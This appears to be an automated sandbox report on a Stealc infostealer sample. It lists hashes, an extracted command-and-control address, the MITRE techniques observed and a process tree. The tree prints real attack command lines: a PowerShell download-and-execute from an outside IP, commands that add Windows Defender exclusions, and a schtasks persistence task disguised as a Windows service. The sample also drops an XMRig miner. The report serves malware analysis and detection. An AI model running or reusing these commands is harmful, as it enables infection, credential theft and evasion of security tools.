stealc | f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d

Analysis

max time kernel
148s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
27/11/2025, 04:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe
Size 1.2MB
Sample251127-fe873avqhm
SHA256 f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d
MD5 f015b826d2f08e9ac6c1d1606e75cf28
SHA1 f2399c9e7280c2492d24428f2a2a15174e6dd9e8
SHA512 6fa5492100226047d20890327076dd2142a69f595462c64b6297ea86c44f0313ad6d3350c9fffa655a0056d7d21ef4b71b6c32e4ef3abcd2b9a1974ff273c03d
SSDEEP 12288:YM9SBLz+upKoUSEz3nvneXYkGm6Ojn35kU/zrRY51eJOsFPjXahG0ZIFpCYVIu0J:YcSVqoUSWXveXYk/q2BVJFPjQGv
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

60951k6tfib72m8f1z defense_evasion discovery execution stealc xmrig miner persistence spyware stealer trojan

Malware Config

Extracted

Family

stealc

Botnet

60951K6TFIB72M8F1Z

https://ggh5e4h54.cc

Attributes

url_path
/c60508ab2db3b4.php

rc4.plain

Signatures

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Windows security bypass 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Updater = "0"	powershell.exe

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x0006000000025b26-141.dat	family_xmrig
behavioral2/files/0x0006000000025b26-141.dat	xmrig

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
22	4992	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3184	powershell.exe
1988	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
544	app.exe
5328	ServiceHostApp.exe
4548	RuntimeService.exe
3440	RuntimeService.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4912	dotnet.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4864	schtasks.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
5932	f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe
5932	f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe
4992	powershell.exe
4992	powershell.exe
544	app.exe
3184	powershell.exe
3184	powershell.exe
5328	ServiceHostApp.exe
1988	powershell.exe
1988	powershell.exe
5328	ServiceHostApp.exe
5328	ServiceHostApp.exe
5328	ServiceHostApp.exe
5328	ServiceHostApp.exe
5328	ServiceHostApp.exe
5328	ServiceHostApp.exe
5328	ServiceHostApp.exe
5328	ServiceHostApp.exe
5328	ServiceHostApp.exe
5328	ServiceHostApp.exe
5328	ServiceHostApp.exe
5328	ServiceHostApp.exe
5328	ServiceHostApp.exe
5328	ServiceHostApp.exe
5328	ServiceHostApp.exe
5328	ServiceHostApp.exe
5328	ServiceHostApp.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeIncreaseQuotaPrivilege	4992	powershell.exe
Token: SeSecurityPrivilege	4992	powershell.exe
Token: SeTakeOwnershipPrivilege	4992	powershell.exe
Token: SeLoadDriverPrivilege	4992	powershell.exe
Token: SeSystemProfilePrivilege	4992	powershell.exe
Token: SeSystemtimePrivilege	4992	powershell.exe
Token: SeProfSingleProcessPrivilege	4992	powershell.exe
Token: SeIncBasePriorityPrivilege	4992	powershell.exe
Token: SeCreatePagefilePrivilege	4992	powershell.exe
Token: SeBackupPrivilege	4992	powershell.exe
Token: SeRestorePrivilege	4992	powershell.exe
Token: SeShutdownPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeSystemEnvironmentPrivilege	4992	powershell.exe
Token: SeRemoteShutdownPrivilege	4992	powershell.exe
Token: SeUndockPrivilege	4992	powershell.exe
Token: SeManageVolumePrivilege	4992	powershell.exe
Token: 33	4992	powershell.exe
Token: 34	4992	powershell.exe
Token: 35	4992	powershell.exe
Token: 36	4992	powershell.exe
Token: SeIncreaseQuotaPrivilege	4992	powershell.exe
Token: SeSecurityPrivilege	4992	powershell.exe
Token: SeTakeOwnershipPrivilege	4992	powershell.exe
Token: SeLoadDriverPrivilege	4992	powershell.exe
Token: SeSystemProfilePrivilege	4992	powershell.exe
Token: SeSystemtimePrivilege	4992	powershell.exe
Token: SeProfSingleProcessPrivilege	4992	powershell.exe
Token: SeIncBasePriorityPrivilege	4992	powershell.exe
Token: SeCreatePagefilePrivilege	4992	powershell.exe
Token: SeBackupPrivilege	4992	powershell.exe
Token: SeRestorePrivilege	4992	powershell.exe
Token: SeShutdownPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeSystemEnvironmentPrivilege	4992	powershell.exe
Token: SeRemoteShutdownPrivilege	4992	powershell.exe
Token: SeUndockPrivilege	4992	powershell.exe
Token: SeManageVolumePrivilege	4992	powershell.exe
Token: 33	4992	powershell.exe
Token: 34	4992	powershell.exe
Token: 35	4992	powershell.exe
Token: 36	4992	powershell.exe
Token: SeIncreaseQuotaPrivilege	4992	powershell.exe
Token: SeSecurityPrivilege	4992	powershell.exe
Token: SeTakeOwnershipPrivilege	4992	powershell.exe
Token: SeLoadDriverPrivilege	4992	powershell.exe
Token: SeSystemProfilePrivilege	4992	powershell.exe
Token: SeSystemtimePrivilege	4992	powershell.exe
Token: SeProfSingleProcessPrivilege	4992	powershell.exe
Token: SeIncBasePriorityPrivilege	4992	powershell.exe
Token: SeCreatePagefilePrivilege	4992	powershell.exe
Token: SeBackupPrivilege	4992	powershell.exe
Token: SeRestorePrivilege	4992	powershell.exe
Token: SeShutdownPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeSystemEnvironmentPrivilege	4992	powershell.exe
Token: SeRemoteShutdownPrivilege	4992	powershell.exe
Token: SeUndockPrivilege	4992	powershell.exe
Token: SeManageVolumePrivilege	4992	powershell.exe
Token: 33	4992	powershell.exe
Token: 34	4992	powershell.exe
Token: 35	4992	powershell.exe
Token: 36	4992	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4548	RuntimeService.exe
3440	RuntimeService.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 5932 wrote to memory of 5340	5932	f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe	79
PID 5932 wrote to memory of 5340	5932	f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe	79
PID 5932 wrote to memory of 5340	5932	f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe	79
PID 5932 wrote to memory of 3936	5932	f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe	81
PID 5932 wrote to memory of 3936	5932	f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe	81
PID 5932 wrote to memory of 3936	5932	f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe	81
PID 5932 wrote to memory of 4992	5932	f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe	83
PID 5932 wrote to memory of 4992	5932	f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe	83
PID 5932 wrote to memory of 4992	5932	f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe	83
PID 4992 wrote to memory of 4912	4992	powershell.exe	86
PID 4992 wrote to memory of 4912	4992	powershell.exe	86
PID 4992 wrote to memory of 544	4992	powershell.exe	87
PID 4992 wrote to memory of 544	4992	powershell.exe	87
PID 544 wrote to memory of 3184	544	app.exe	88
PID 544 wrote to memory of 3184	544	app.exe	88
PID 544 wrote to memory of 4864	544	app.exe	90
PID 544 wrote to memory of 4864	544	app.exe	90
PID 544 wrote to memory of 5328	544	app.exe	92
PID 544 wrote to memory of 5328	544	app.exe	92
PID 5328 wrote to memory of 1988	5328	ServiceHostApp.exe	93
PID 5328 wrote to memory of 1988	5328	ServiceHostApp.exe	93
PID 5328 wrote to memory of 4548	5328	ServiceHostApp.exe	95
PID 5328 wrote to memory of 4548	5328	ServiceHostApp.exe	95
PID 5328 wrote to memory of 3440	5328	ServiceHostApp.exe	96
PID 5328 wrote to memory of 3440	5328	ServiceHostApp.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe
"C:\Users\Admin\AppData\Local\Temp\f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe"
1⤵
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5932
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  PID:5340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:3936
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "iwr http://62.60.226.251/downloads/ihrewq.ps1 |iex"
  2⤵
  - Windows security bypass
  - Badlisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4992
- - C:\Program Files\dotnet\dotnet.exe
    "C:\Program Files\dotnet\dotnet.exe" --list-runtimes
    3⤵
    - System Time Discovery
    PID:4912
- - C:\Users\Admin\AppData\Local\Microsoft\Updater\app.exe
    "C:\Users\Admin\AppData\Local\Microsoft\Updater\app.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:544
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Services' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3184
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "MicrosoftWindowsServiceHost" /tr "'C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\ServiceHostApp.exe'" /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4864
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\ServiceHostApp.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\ServiceHostApp.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:5328
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Services' -Force"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1988
    - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\RuntimeService.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\RuntimeService.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        
        PID:4548
    - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\RuntimeService.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\RuntimeService.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        
        PID:3440

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:3576

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:6004

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

B26C0EE7-439C-C663-F0FF-A4BBB8972C93.txt

Path C:\ProgramData\B26C0EE7-439C-C663-F0FF-A4BBB8972C93.txt
Size 64B
SHA256 ea143677a6ff51b69e084240afde40fe2d55cbe073d925296ee11b9c2cf74f1e
MD5 6b436c3f98390dbfed4372e28f05205a
SHA1 47c0206c23e45ee2ee0c9cc5288cc7b891bd9110
SHA512 12a39bda509ac670eee962875f41ffe5f20f64c6a229bbc427a34f0ba35e0760df6d11f41af5dac89611089fb0a3a1cae2a2c2fb89736a6fc8db90a70026c9ba
MD5 SHA1 SHA512

Submit Download

B26C0EE7-439C-C663-F0FF-A4BBB8972C93.txt

Path C:\ProgramData\B26C0EE7-439C-C663-F0FF-A4BBB8972C93.txt
Size 64B
SHA256 a41f2f5d0691c89ce2d8cb2e20c02bb440fac7d7ecfccf1519dec7b005033a2a
MD5 755263ab423e87f7bd7783b69c75dd6f
SHA1 3ebb3909faddf2b5e3235f55e3177c5c475c7baf
SHA512 f3d65761f55b068ccdf764a7eb0a7ca811c0f82c836c3ce82826730f8bd70dd1f820b2972db0d0bbdee2d88760c717991a41103a6d08734a072cedd3fd028672
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
MD5 SHA1 SHA512

Submit Download

app.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Updater\app.exe
Size 5.9MB
SHA256 7a1e4f70eee2e623e59867467b1e9174faec5731d6e598a921f838d97f31677e
MD5 f61e712fb0831953d3db7e34dd13e114
SHA1 6763aae6db7069aed2962ec0134fc9fb7fdb2a21
SHA512 d8d45159e4135639486d61e98c37750eb50ecafb697822cba32a5e88e688491bf80073a45dac17b16f1ba6a8e48dd46d00fa2d6551b98ce9a4132c82ab711d91
SSDEEP 49152:L8/hvMRFdmBSn1k/X1mH6/RkOhGzuInFnwX1fcWLQJU6S5vdrlhFOsZphsva14xS:Ww41mamfnq1fcWLQ+ZphsbNKbJ2n
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 23KB
SHA256 dc130942c416c6a12f52fb23f375040b49f13b7a61947fe048e96533bb207a34
MD5 6a9307a0793d73c73afc82849039c616
SHA1 3428972cae2051926bd19f4f2ea6b4e2a6b3fd05
SHA512 71dc1f484d71e4c8ad9b96e0ed2102fc7d61821a8cf2ca9846af848604c13f2f3b3c559d92bc76d6861c633b0ad868cb1f43621627980f1f7e07df3cfa1e8c66
SSDEEP 384:D23XAbGS1NOF0oeEME2TfnNjjs2xDgkycpIw959rXs787NWmEzAfq+zM9tJj:yeGSKFlWEGVjj7xDgvcpL59rXsgJ3XzK
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 072cf1080f5981d5a4866e4773dd43958b6bbb80f6eacc79272c3372419d3fca
MD5 d19326e75735a65fbd691544443fa30d
SHA1 12d218b26cf3cd27ae0fa16d53c31705e567c2ba
SHA512 bcde4c8729cc8b88e45ab0683b3d58502237403b6003f859dbca6a7aff7ef4cd5d2043152c3f7d2e571d16cf795989f6ff06d7e5073281259c029c4e6e47151f
MD5 SHA1 SHA512

Submit Download

config.json

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\config.json
Size 536B
SHA256 16c3eb2513c66cefa4281c5cef0fd67d0c087fe1563be835d1b4357a011e3c1f
MD5 89cef47b4ede06f411422740fad8a3b3
SHA1 65d8198fc08845c0f7bd8911ef4465a857041765
SHA512 a167f48bf69efb73bdaf38344bb50bffc7537b64dbbc7af46572d431393e90efbe9d975a45fcd0f98bce130ca3171ba28d4172e5c6dd142f293fd2e4a1cacd36
MD5 SHA1 SHA512

Submit Download

config.json

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\config.json
Size 2KB
SHA256 b8f0ee48cce509ce288b3f942bde6d43fb79bff0f6daaf2d59fc51e2c8e3b26b
MD5 14ead6ae806374a861656035100491e8
SHA1 086d56db278bc77549d0f7736dccb0762a94a8ba
SHA512 eb4dac5535b6e992c902d97e7b629ac24d0d2f417d2d81a3491407ba2737c4b88a6ba57667c0e720086a020cc0bae6a179fc35f909e4b136b671caa3c25c06ab
MD5 SHA1 SHA512

Submit Download

xmrig.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\xmrig.exe
Size 6.2MB
SHA256 c5c778b114ed7fc605b1a76675a28cdb8dab1148910e40b6a4350c0cee1f940d
MD5 afab613ccf4e3ce9afb4f763bd088e6e
SHA1 20acf69572da8800f5df36d50b2bcc777274fd41
SHA512 ad4aa3cf1bd18e7884a40ccc3fd1b9fb427d2f7fef57986289fbcd6ffb3eb53daa76f34967dac26d2c1121583cf91d3ccd1b7e270d162c2e85ca9617c4c55536
SSDEEP 98304:mvI6UZN6/6QLxQrB68h5omxmGVOpksstMQXfhXjnJFD2a7d/atkSxQ7rapEZ650Y:m/II/6aYXdFD22VatktKpEEd1Qi2w
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_hcximzx1.vp5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hcximzx1.vp5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/3184-101-0x000001A7F5400000-0x000001A7F5422000-memory.dmp

Download

memory/4548-169-0x000001E382670000-0x000001E382690000-memory.dmp

Download

memory/4992-82-0x0000000009080000-0x000000000908E000-memory.dmp

Download

memory/4992-69-0x0000000008EF0000-0x0000000008F24000-memory.dmp

Download

memory/4992-87-0x0000000009230000-0x0000000009254000-memory.dmp

Download

memory/4992-86-0x0000000009200000-0x000000000922A000-memory.dmp

Download

memory/4992-85-0x00000000090D0000-0x00000000090D8000-memory.dmp

Download

memory/4992-84-0x00000000090E0000-0x00000000090FA000-memory.dmp

Download

memory/4992-83-0x0000000009090000-0x00000000090A5000-memory.dmp

Download

memory/4992-81-0x0000000009060000-0x0000000009071000-memory.dmp

Download

memory/4992-49-0x0000000004DE0000-0x0000000004E16000-memory.dmp

Download

memory/4992-50-0x00000000054F0000-0x0000000005B1A000-memory.dmp

Download

memory/4992-51-0x00000000053E0000-0x0000000005402000-memory.dmp

Download

memory/4992-52-0x0000000005480000-0x00000000054E6000-memory.dmp

Download

memory/4992-53-0x0000000005B90000-0x0000000005BF6000-memory.dmp

Download

memory/4992-80-0x0000000009030000-0x000000000903A000-memory.dmp

Download

memory/4992-60-0x0000000005D80000-0x00000000060D7000-memory.dmp

Download

memory/4992-61-0x0000000006290000-0x00000000062AE000-memory.dmp

Download

memory/4992-62-0x00000000066A0000-0x00000000066EC000-memory.dmp

Download

memory/4992-63-0x00000000078D0000-0x0000000007F4A000-memory.dmp

Download

memory/4992-64-0x00000000067B0000-0x00000000067CA000-memory.dmp

Download

memory/4992-65-0x0000000008700000-0x0000000008EA6000-memory.dmp

Download

memory/4992-66-0x0000000008490000-0x0000000008526000-memory.dmp

Download

memory/4992-67-0x00000000083F0000-0x0000000008412000-memory.dmp

Download

memory/4992-68-0x0000000009460000-0x0000000009A06000-memory.dmp

Download

memory/4992-79-0x0000000008F50000-0x0000000008FF4000-memory.dmp

Download

memory/4992-70-0x0000000070850000-0x000000007089C000-memory.dmp

Download

memory/4992-71-0x0000000070A60000-0x0000000070DB7000-memory.dmp

Download

memory/4992-78-0x0000000008F30000-0x0000000008F4E000-memory.dmp

Download

memory/5328-138-0x0000022464410000-0x0000022464420000-memory.dmp

Download

memory/5932-6-0x000001507D970000-0x000001507DA33000-memory.dmp

Download

memory/5932-12-0x000001507D970000-0x000001507DA33000-memory.dmp

Download

memory/5932-7-0x000001507D970000-0x000001507DA33000-memory.dmp

Download

memory/5932-48-0x00007FF662310000-0x00007FF662449000-memory.dmp

Download

memory/5932-46-0x00007FF662310000-0x00007FF662449000-memory.dmp

Download

memory/5932-9-0x000001507D970000-0x000001507DA33000-memory.dmp

Download

memory/5932-29-0x000001507D970000-0x000001507DA33000-memory.dmp

Download

memory/5932-0-0x000001507D970000-0x000001507DA33000-memory.dmp

Download

memory/5932-47-0x000001507D970000-0x000001507DA33000-memory.dmp

Download

memory/5932-18-0x000001507D970000-0x000001507DA33000-memory.dmp

Download

memory/5932-11-0x000001507D970000-0x000001507DA33000-memory.dmp

Download

memory/5932-13-0x000001507D970000-0x000001507DA33000-memory.dmp

Download

memory/5932-14-0x000001507D970000-0x000001507DA33000-memory.dmp

Download

memory/5932-10-0x000001507D970000-0x000001507DA33000-memory.dmp

Download

memory/5932-15-0x000001507D970000-0x000001507DA33000-memory.dmp

Download

memory/5932-16-0x000001507D970000-0x000001507DA33000-memory.dmp

Download

memory/5932-17-0x000001507D970000-0x000001507DA33000-memory.dmp

Download

memory/5932-8-0x000001507D970000-0x000001507DA33000-memory.dmp

Download